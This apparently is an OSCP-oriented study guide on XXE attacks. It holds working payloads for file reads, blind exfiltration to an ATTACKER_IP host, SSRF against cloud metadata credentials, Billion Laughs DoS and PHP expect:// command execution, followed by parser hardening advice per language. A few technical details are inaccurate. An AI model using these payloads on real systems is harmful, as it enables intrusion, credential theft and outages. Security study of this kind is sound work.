XML External Entities (XXE) — Deep-Dive Study Guide
1. XML Parsing Fundamentals
What Is XML?
XML (eXtensible Markup Language) is a structured data format that uses tags to define elements. Unlike HTML, XML tags are not predefined — the author defines their own vocabulary. XML is widely used for:
- API request/response bodies (especially SOAP web services)
- Configuration files (e.g., Java
web.xml, .NETapp.config) - Document formats (DOCX, XLSX are ZIP archives of XML files)
- RSS/Atom feeds
- SVG images
- XHTML documents
XML Document Structure
A well-formed XML document has the following structure:
<?xml version="1.0" encoding="UTF-8"?>
<root>
<user>
<name>Alice</name>
<role>admin</role>
</user>
</root>
What Are Entities?
Entities are a core XML feature defined in the DTD (Document Type Definition). They act as variables that the XML parser resolves during processing. There are four types:
| Entity Type | Declaration | Usage | Example |
|---|---|---|---|
| Internal Entity | <!ENTITY name "value"> |
&name; |
<!ENTITY app "MyApp"> → &app; |
| External Entity | <!ENTITY name SYSTEM "URI"> |
&name; |
<!ENTITY f SYSTEM "file:///etc/passwd"> |
| Parameter Entity | <!ENTITY % name "value"> |
%name; |
Used inside DTD only |
| External Parameter Entity | <!ENTITY % name SYSTEM "URI"> |
%name; |
Fetches external DTD fragment |
Why Are External Entities Dangerous?
External entities instruct the XML parser to fetch and include content from an external resource — a file on the local filesystem, an HTTP endpoint, or any other URI scheme the parser supports. The danger arises when:
- User-controlled XML input reaches an XML parser on the server.
- The parser has external entity processing enabled (often the default in older configurations).
- The parser resolves
SYSTEMidentifiers against the server’s filesystem or network, not the attacker’s.
This means an attacker can craft XML that tells the server: “Go read /etc/passwd and include it in the parsed document” or “Make an HTTP request to http://169.254.169.254/latest/meta-data/.”
The XML Parser Processing Pipeline
User Input (XML)
│
▼
┌─────────────────────┐
│ XML Parser │
│ ┌───────────────┐ │
│ │ DTD Processing│ │ ← External entities resolved HERE
│ │ (Entity Exp.) │ │
│ └───────────────┘ │
│ ┌───────────────┐ │
│ │ DOM/SAX Build │ │
│ └───────────────┘ │
└─────────────────────┘
│
▼
Application Logic (parsed data)
The critical insight: entity resolution happens during DTD processing, before the application ever sees the parsed data. This is why blind XXE works — the data exfiltration occurs at parse time, not at application response time.
2. Basic XXE: File Read
Prerequisites
- The application accepts XML input (POST body, SOAP envelope, uploaded
.xmlfile, etc.). - The application returns the parsed XML content (or an error containing it) in the HTTP response.
- The XML parser processes external entities.
Step-by-Step Exploitation
Step 1: Identify the XML entry point
Look for endpoints that accept XML:
Content-Type: application/xml
Content-Type: application/soap+xml
Content-Type: text/xml
Or file upload fields that accept .xml, .svg, .docx, .odt, or .xlsx files.
Step 2: Send a basic XXE payload
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root>&xxe;</root>
Step 3: Check the response
If the response contains the contents of /etc/passwd, the application is vulnerable to basic XXE.
Common File Targets by OS
| OS | File | Purpose |
|---|---|---|
| Linux | /etc/passwd |
User accounts (always readable) |
| Linux | /etc/shadow |
Password hashes (root only) |
| Linux | /proc/self/environ |
Environment variables |
| Linux | /proc/version |
Kernel version |
| Linux | /home/*/.ssh/id_rsa |
SSH private keys |
| Windows | C:\Windows\win.ini |
System config (always readable) |
| Windows | C:\boot.ini |
Boot configuration |
| Windows | C:\Users\*\NTUSER.DAT |
User registry hive |
| Windows | C:\inetpub\wwwroot\web.config |
IIS app config |
| Java | /WEB-INF/web.xml |
Java web app config |
| PHP | php://filter/convert.base64-encode/resource=config.php |
Read PHP source |
PHP Stream Wrappers for XXE
PHP parsers support special stream wrappers that enable powerful attacks:
<!-- Read PHP source code (base64 encoded to avoid execution) -->
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/var/www/config.php">
<!-- Read any file via data wrapper -->
<!ENTITY xxe SYSTEM "data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8+">
<!-- Execute PHP code (requires allow_url_include) -->
<!ENTITY xxe SYSTEM "expect://id">
Java XXE via file:// Protocol
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE replace [
<!ENTITY xxe SYSTEM "file:///WEB-INF/web.xml">
]>
<userInfo>
<name>&xxe;</name>
</userInfo>
.NET XXE
.NET’s XmlDocument and XmlReader can also be exploited:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [
<!ENTITY xxe SYSTEM "file:///C:\Windows\win.ini">
]>
<root>&xxe;</root>
3. Blind XXE: Out-of-Band (OOB) Exfiltration
When Is XXE “Blind”?
Blind XXE occurs when the application does not reflect the parsed XML content in the response. The server processes the XML silently, so you cannot directly see the file contents. However, the parser still resolves external entities — we just need an alternative channel to receive the data.
The External DTD Technique (Step by Step)
This is the most important XXE technique for OSCP. It uses two levels of entity expansion to exfiltrate data via HTTP requests to an attacker-controlled server.
Architecture
┌──────────────┐ ┌──────────────────┐
│ Target │ │ Attacker Server │
│ Server │────────▶│ (Listener) │
│ │ HTTP │ nc -lvp 80 │
│ XML Parser │ GET │ │
└──────────────┘ request └──────────────────┘
Step 1: Set Up the Attacker Server
# Simple HTTP listener
nc -lvp 80
# Or use Python for a proper HTTP server
python3 -m http.server 80
# Or use a web server to serve the external DTD
python3 -m http.server 80
Step 2: Create the External DTD File
Create xxe.dtd on your attacker server (served at http://<ATTACKER_IP>/xxe.dtd):
<!ENTITY % all "<!ENTITY send SYSTEM 'http://<ATTACKER_IP>/?data=%file;'>">
%all;
This DTD defines a new entity called send that, when referenced, will make an HTTP GET request to the attacker’s server with the contents of %file appended as a query parameter.
Step 3: Send the XXE Payload to the Target
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE data [
<!ELEMENT data ANY>
<!-- Step A: Define a parameter entity containing the file contents -->
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!-- Step B: Fetch the external DTD from attacker's server -->
<!ENTITY % dtd SYSTEM "http://<ATTACKER_IP>/xxe.dtd">
<!-- Step C: Expand the external DTD (executes %all inside it) -->
%dtd;
<!-- Step D: Trigger the 'send' entity, which makes HTTP request with file data -->
%send;
]>
<data>test</data>
Processing Flow (What Happens Inside the Parser)
1. Parser reads DOCTYPE declaration
2. %file is defined → contains contents of /etc/passwd
3. %dtd is defined → parser fetches http://<ATTACKER_IP>/xxe.dtd
4. %dtd; is expanded → the fetched DTD content is processed:
- %all is defined as: <!ENTITY send SYSTEM 'http://<ATTACKER_IP>/?data=%file;'>
- %all; is expanded → 'send' entity is now defined
5. %send; is expanded → parser resolves 'send' entity:
- Makes HTTP GET to: http://<ATTACKER_IP>/?data=<contents of /etc/passwd>
6. Attacker server receives the HTTP request with exfiltrated data
Step 4: Capture the Exfiltrated Data
On the attacker server, you’ll see an HTTP request like:
GET /?data=root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...
HTTP/1.1
Host: <ATTACKER_IP>
Alternative: Single-Request Blind XXE (No External DTD)
Some parsers allow a simpler approach using the data:// scheme or direct parameter entity tricks:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE data [
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY % exfil SYSTEM 'http://<ATTACKER_IP>/?x=%file;'>">
%eval;
%exfil;
]>
<data>test</data>
This avoids the external DTD entirely by defining everything inline. However, not all parsers support this — the external DTD method is more reliable.
DNS-Based Blind XXE Detection
If you cannot receive HTTP requests (firewall blocks outbound HTTP), use DNS exfiltration:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE data [
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % dtd SYSTEM "http://<UNIQUE_SUBDOMAIN>.<ATTACKER_DOMAIN>/xxe.dtd">
%dtd;
%send;
]>
<data>test</data>
Monitor DNS queries for your domain. If a query arrives for <UNIQUE_SUBDOMAIN>.<ATTACKER_DOMAIN>, XXE is confirmed even without data exfiltration.
Tools like Burp Collaborator, Interact.sh, or DNSLog.cn provide free OOB interaction servers.
4. Billion Laughs DoS Attack
Concept
The Billion Laughs attack is an XML bomb that exploits recursive entity expansion to exhaust server memory or CPU. It uses a small payload that expands exponentially during parsing.
How It Works
Level 0: &a; = "ha" (2 chars)
Level 1: &b; = "&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;" (20 chars = 10 × 2)
Level 2: &c; = "&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;" (200 chars = 10 × 20)
Level 3: &d; = "&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;" (2,000 chars = 10 × 200)
Level 4: &e; = "&d;&d;&d;&d;&d;&d;&d;&d;&d;&d;" (20,000 chars = 10 × 2,000)
Each level multiplies the output by 10. Adding more levels:
Level 5: 200,000 chars
Level 6: 2,000,000 chars
Level 7: 20,000,000 chars
Level 8: 200,000,000 chars
Level 9: 2,000,000,000 chars (2 GB of text from a ~500 byte payload!)
Complete Payload
<?xml version="1.0"?>
<!DOCTYPE data [
<!ENTITY a "ha">
<!ENTITY b "&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;">
<!ENTITY c "&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;">
<!ENTITY d "&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;">
<!ENTITY e "&d;&d;&d;&d;&d;&d;&d;&d;&d;&d;">
<!ENTITY f "&e;&e;&e;&e;&e;&e;&e;&e;&e;&e;">
<!ENTITY g "&f;&f;&f;&f;&f;&f;&f;&f;&f;&f;">
<!ENTITY h "&g;&g;&g;&g;&g;&g;&g;&g;&g;&g;">
<!ENTITY i "&h;&h;&h;&h;&h;&h;&h;&h;&h;&h;">
]>
<data>&i;</data>
Variants
Billion Smiles — uses SVG <image> tags instead of text entities, consuming even more memory per expansion:
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY a "<image>smile</image>">
<!ENTITY b "&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;">
<!ENTITY c "&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;">
<!ENTITY d "&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;">
]>
<foo>&d;</foo>
Impact
- Memory exhaustion (OOM killer terminates the process)
- CPU saturation (parser stuck expanding entities)
- Service denial for all users
- In containerized environments, can trigger node-level OOM
5. XXE via SOAP and XHTML Contexts
SOAP Web Services
SOAP (Simple Object Access Protocol) uses XML as its message format. Many enterprise applications expose SOAP endpoints that are prime XXE targets.
Vulnerable SOAP Request
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Header/>
<soap:Body>
<m:GetPrice>
<m:Item>
<?xml version="1.0"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<name>&xxe;</name>
</m:Item>
</m:GetPrice>
</soap:Body>
</soap:Envelope>
SOAP XXE Testing Checklist
- Identify SOAP endpoints (
.asmx,.wsdl,/soap/,/services/) - Download the WSDL file to understand the expected message structure
- Inject XXE payload into string parameters
- Try both the inner XML approach above and direct DOCTYPE injection at the envelope level
- Check SOAP fault responses for leaked data
Direct Envelope-Level XXE
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE envelope [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<method>
<param>&xxe;</param>
</method>
</soap:Body>
</soap:Envelope>
XHTML
XHTML is HTML authored as XML. If a server processes XHTML with an XML parser (not an HTML parser), XXE is possible:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE html [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<html xmlns="http://www.w3.org/1999/xhtml">
<head><title>Test</title></head>
<body>
<p>&xxe;</p>
</body>
</html>
SVG Files
SVG is XML-based. If an application uploads and renders SVG files:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE svg [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<svg xmlns="http://www.w3.org/2000/svg" width="200" height="200">
<text x="10" y="50">&xxe;</text>
</svg>
Office Documents (DOCX, XLSX, ODT)
These are ZIP archives containing XML. If an application processes uploaded documents:
- DOCX: Extract, modify
word/document.xml, re-zip - ODT: Modify
content.xmlinside the archive - XLSX: Modify
xl/workbook.xmlorxl/worksheets/sheet1.xml
6. SSRF Through XXE
Mechanism
XXE can be used as an SSRF vector because the SYSTEM identifier accepts any URI scheme the parser supports — including http:// and https://.
Internal Service Access
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "http://127.0.0.1:8080/admin">
]>
<root>&xxe;</root>
Cloud Metadata Access
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!-- AWS -->
<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/">
<!-- Azure -->
<!ENTITY xxe2 SYSTEM "http://169.254.169.254/metadata/instance?api-version=2021-02-01">
<!-- GCP -->
<!ENTITY xxe3 SYSTEM "http://metadata.google.internal/computeMetadata/v1/instance/">
]>
<root>&xxe;</root>
Blind SSRF via XXE (OOB)
When the response is not reflected, use the blind XXE technique with an internal target:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE data [
<!ENTITY % file SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/">
<!ENTITY % dtd SYSTEM "http://<ATTACKER_IP>/xxe.dtd">
%dtd;
%send;
]>
<data>test</data>
The external DTD technique exfiltrates the cloud metadata credentials to the attacker’s server.
7. Server-Side Code Execution via XXE
Combined Attack Chains
XXE alone rarely gives direct RCE, but it can be combined with other vulnerabilities:
XXE → File Read → Source Code Disclosure → RCE
- Use XXE to read application source code (
file:///var/www/app/config.php) - Find database credentials or API keys in the source
- Use credentials to access admin panel or database
- Exploit another vulnerability (SQLi, command injection) for RCE
XXE → SSH Key Read → Lateral Movement
- Use XXE to read
/home/user/.ssh/id_rsa - Use the private key to SSH into the server
- Perform lateral movement and privilege escalation
XXE → Web Config Read → Authentication Bypass
- Read
/WEB-INF/web.xmlorweb.config - Extract session configuration, encryption keys, or database connection strings
- Forge sessions or connect directly to the database
PHP expect:// Wrapper → Direct RCE
If the PHP expect module is installed:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "expect://id">
]>
<root>&xxe;</root>
This directly executes OS commands. The expect:// wrapper is available when the expect PHP extension is loaded.
PHP php://filter → Source Code → Backdoor
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/var/www/html/index.php">
]>
<root>&xxe;</root>
Decode the base64 response to get the source code, then find an upload or include vulnerability to plant a web shell.
8. Detection Methods and Testing Checklist
Automated Detection
| Tool | Command | Purpose |
|---|---|---|
| Burp Suite | Active scan with XXE rules | Detects reflected XXE automatically |
| XXEinjector | ruby XXEinjector.rb -m xmlrpc -u <URL> -o xxe-options.yml |
Dedicated XXE exploitation tool |
| sqlmap | sqlmap -u <URL> --technique=E |
Detects XXE in some contexts |
| Nuclei | nuclei -t templates/vulnerabilities/xxe/ -u <URL> |
Template-based XXE detection |
| ZAP | Active scan | OWASP ZAP XXE detection rules |
Manual Testing Checklist
Phase 1: Reconnaissance
- Identify all XML input vectors (POST bodies, file uploads, SOAP endpoints)
- Check
Content-Typeheaders forapplication/xml,text/xml,application/soap+xml - Map all
.wsdl,.asmx,.xmlendpoints - Check for file upload fields accepting
.xml,.svg,.docx,.odt,.xlsx
Phase 2: Basic XXE Testing
- Send
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>payload - Check response for
/etc/passwdcontent - Try Windows paths:
file:///C:/Windows/win.ini - Try error-based detection: send malformed entity reference and check for XML parser errors
Phase 3: Error-Based Detection
- Send payload with invalid URI:
SYSTEM "file:///nonexistent"— check for parser error messages - Send payload with invalid protocol:
SYSTEM "ftp:///etc/passwd"— check for protocol error - Send DOCTYPE with syntax error — check if parser error is returned
Phase 4: Blind XXE Testing
- Set up OOB listener (Burp Collaborator,
nc -lvp 80) - Send external DTD-based blind XXE payload
- Monitor for incoming HTTP/DNS requests
- Try DNS-only detection if HTTP is blocked
Phase 5: Advanced Testing
- Test Billion Laughs DoS payload (in authorized engagements only)
- Test PHP stream wrappers (
php://filter,expect://,data://) - Test Java
codebaseattribute attacks - Test SVG upload XXE
- Test Office document XXE
XXEinjector Usage
# Generate options file
cat > xxe-options.yml << 'EOF'
request:
method: POST
url: "http://target.com/api/endpoint"
header:
Content-Type: application/xml
data: |
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "FILE_NAME">
]>
<root>&xxe;</root>
options:
output_folder: "results"
extract_output: true
EOF
# Run the tool
ruby XXEinjector.rb -o xxe-options.yml
9. Language-Specific Mitigations
Java
Java’s XML parsers (JAXP, Xerces) are vulnerable by default in older versions.
Vulnerable Code:
DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
// No security features set — VULNERABLE
DocumentBuilder builder = factory.newDocumentBuilder();
Document doc = builder.parse(input);
Secure Code:
DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
// Disable external entities entirely
factory.setFeature(XMLConstants.FEATURE_SECURE_PROCESSING, true);
factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
factory.setFeature("http://xml.org/sax/features/external-general-entities", false);
factory.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
factory.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd", false);
factory.setXIncludeAware(false);
DocumentBuilder builder = factory.newDocumentBuilder();
Document doc = builder.parse(input);
Key Feature Flags:
| Feature | Value | Effect |
|---|---|---|
FEATURE_SECURE_PROCESSING |
true |
Limits entity expansion, enables DTD restrictions |
disallow-doctype-decl |
true |
Rejects any DOCTYPE declaration (most restrictive) |
external-general-entities |
false |
Blocks external general entities |
external-parameter-entities |
false |
Blocks external parameter entities |
load-external-dtd |
false |
Prevents loading external DTDs |
Python
Vulnerable Code (lxml):
from lxml import etree
parser = etree.XMLParser() # Default — may resolve entities
tree = etree.fromstring(xml_data, parser)
Secure Code:
from lxml import etree
# Method 1: Disable entity resolution
parser = etree.XMLParser(resolve_entities=False)
tree = etree.fromstring(xml_data, parser)
# Method 2: No network access, no DTD
parser = etree.XMLParser(
no_network=True,
dtd_validation=False,
load_dtd=False,
resolve_entities=False
)
# Method 3: Use defusedxml (recommended)
from defusedxml.lxml import fromstring
tree = fromstring(xml_data)
Standard Library (xml.etree.ElementTree):
import xml.etree.ElementTree as ET
# Python 3.8+ has limited entity expansion by default
# But still use defusedxml for safety
from defusedxml.ElementTree import parse, fromstring
tree = fromstring(xml_data)
PHP
Vulnerable Code:
$dom = new DOMDocument();
$dom->loadXML($userXml, LIBXML_NOENT); // LIBXML_NOENT enables entity resolution — VULNERABLE
Secure Code:
// Method 1: Disable entity loader (PHP < 8.0)
libxml_disable_entity_loader(true);
// Method 2: Don't use LIBXML_NOENT flag
$dom = new DOMDocument();
$dom->loadXML($userXml, LIBXML_NONET); // LIBXML_NONET blocks network access
// Method 3: PHP 8.0+ — entities disabled by default
// Just avoid LIBXML_NOENT flag
$dom = new DOMDocument();
$dom->loadXML($userXml);
// Method 4: Use XMLReader with secure settings
$reader = new XMLReader();
$reader->xml($userXml, 'UTF-8', LIBXML_NONET);
Important PHP Notes:
libxml_disable_entity_loader()was deprecated in PHP 8.0 because entity loading is disabled by default.- The
LIBXML_NOENTflag is the most common cause of XXE in PHP — never use it with untrusted input. LIBXML_NONETprevents network access but still allows local file reads.
.NET (C#)
Vulnerable Code:
XmlDocument doc = new XmlDocument();
doc.LoadXml(userXml); // May process DTDs depending on version
Secure Code:
XmlReaderSettings settings = new XmlReaderSettings();
settings.DtdProcessing = DtdProcessing.Prohibit; // Blocks all DTD processing
settings.MaxCharactersFromEntities = 100000; // Limits entity expansion
using (XmlReader reader = XmlReader.Create(new StringReader(userXml), settings))
{
XmlDocument doc = new XmlDocument();
doc.Load(reader);
}
Key Settings:
| Setting | Value | Effect |
|---|---|---|
DtdProcessing |
Prohibit |
Rejects any DTD (most secure) |
DtdProcessing |
Parse |
Parses DTD but can still be vulnerable |
MaxCharactersFromEntities |
Limited value | Prevents Billion Laughs DoS |
Other Languages
| Language | Vulnerable Default | Secure Configuration |
|---|---|---|
| Ruby (Nokogiri) | Nokogiri::XML.parse(xml) |
Nokogiri::XML::ParseOptions::NOENT must NOT be set |
| Node.js (libxmljs) | May resolve entities | Use @rgrove/xml-parser or disable DTD |
| Go (encoding/xml) | Safe by default | Go’s standard XML parser does not support external entities |
| Ruby (REXML) | Safe by default | REXML does not expand external entities by default |
10. OSCP Exam Relevance and Common Scenarios
OSCP Machines Featuring XXE
XXE has appeared in multiple OSCP examination machines. Common patterns include:
| Machine Pattern | Exploitation Path | Flag |
|---|---|---|
| PHP app with XML upload | Upload crafted XML → read /etc/passwd → read source code → find credentials |
User + Root |
| SOAP endpoint | Inject XXE into SOAP body → read config file → database credentials | User |
| Blind XXE + SSH | Blind XXE → read .ssh/id_rsa → SSH login |
User |
| XXE + LFI combo | XXE reads config → LFI includes config → RCE | Root |
| Java web app | XXE reads web.xml → finds admin path → authenticate |
User |
Typical OSCP XXE Workflow
1. Nmap discovers port 80/443 with web application
2. Directory busting finds XML endpoint or file upload
3. Basic XXE payload reads /etc/passwd → confirms vulnerability
4. Read application source code or config files
5. Extract credentials from source/config
6. Use credentials for SSH or web login → user.txt
7. Privilege escalation → root.txt
Key Files to Target on OSCP Linux Machines
/etc/passwd # Confirm XXE works
/etc/shadow # Password hashes (if root)
/home/*/.ssh/id_rsa # SSH private keys
/var/www/html/*.php # Application source code
/var/www/html/config.php # Database credentials
/proc/self/environ # Environment variables
/root/.ssh/id_rsa # Root SSH key (if escalated)
Key Files to Target on OSCP Windows Machines
C:\Windows\win.ini # Confirm XXE works
C:\inetpub\wwwroot\web.config # IIS configuration
C:\Users\*\NTUSER.DAT # User registry (passwords)
C:\Windows\System32\inetsrv\config\applicationHost.config # IIS app pool credentials
Common OSCP Pitfalls
-
Encoding issues: The exfiltrated file content may contain characters that break XML. Use base64 encoding (
php://filter/convert.base64-encode) to safely extract binary or special-character content. -
Firewall blocking outbound connections: Blind XXE requires the server to reach your attacker machine. If outbound HTTP is blocked, try DNS-based detection or focus on reflected XXE.
-
Parser differences: Different languages and libraries handle entities differently. If one payload doesn’t work, try variations (parameter entities, different URI schemes, etc.).
-
WAF/IPS blocking: Some machines have basic WAF rules. Try encoding the payload, using alternative entity names, or splitting the DOCTYPE declaration.
-
Content-Type requirements: Some endpoints only process XML if the
Content-Typeheader is exactlyapplication/xml. Always set the correct header.
Quick Reference: XXE Payload Cheat Sheet
<!-- Basic file read (Linux) -->
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<root>&xxe;</root>
<!-- Basic file read (Windows) -->
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///C:/Windows/win.ini">]>
<root>&xxe;</root>
<!-- PHP source code read -->
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=config.php">]>
<root>&xxe;</root>
<!-- Blind XXE (external DTD) -->
<!DOCTYPE data [
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % dtd SYSTEM "http://ATTACKER/xxe.dtd">
%dtd;
%send;
]>
<data>test</data>
<!-- SSRF via XXE -->
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/">]>
<root>&xxe;</root>
<!-- Billion Laughs DoS -->
<!DOCTYPE data [
<!ENTITY a "ha">
<!ENTITY b "&a;&a;&a;&a;&a;&a;&a;&a;&a;&a;">
<!ENTITY c "&b;&b;&b;&b;&b;&b;&b;&b;&b;&b;">
<!ENTITY d "&c;&c;&c;&c;&c;&c;&c;&c;&c;&c;">
<!ENTITY e "&d;&d;&d;&d;&d;&d;&d;&d;&d;&d;">
]>
<data>&e;</data>
Summary
XXE remains a high-impact vulnerability in the OSCP exam because it bridges multiple attack categories: file read (information disclosure), SSRF (network access), DoS (availability), and RCE (when combined with other techniques). The key to mastering XXE is understanding the XML parser’s entity resolution pipeline — once you internalize how the parser processes DOCTYPE declarations, entity references, and external DTDs, the attack patterns become intuitive.
For the exam, prioritize: (1) recognizing XML input vectors, (2) confirming XXE with a basic file read, (3) escalating to blind XXE when needed, and (4) chaining XXE with credential harvesting for full system access.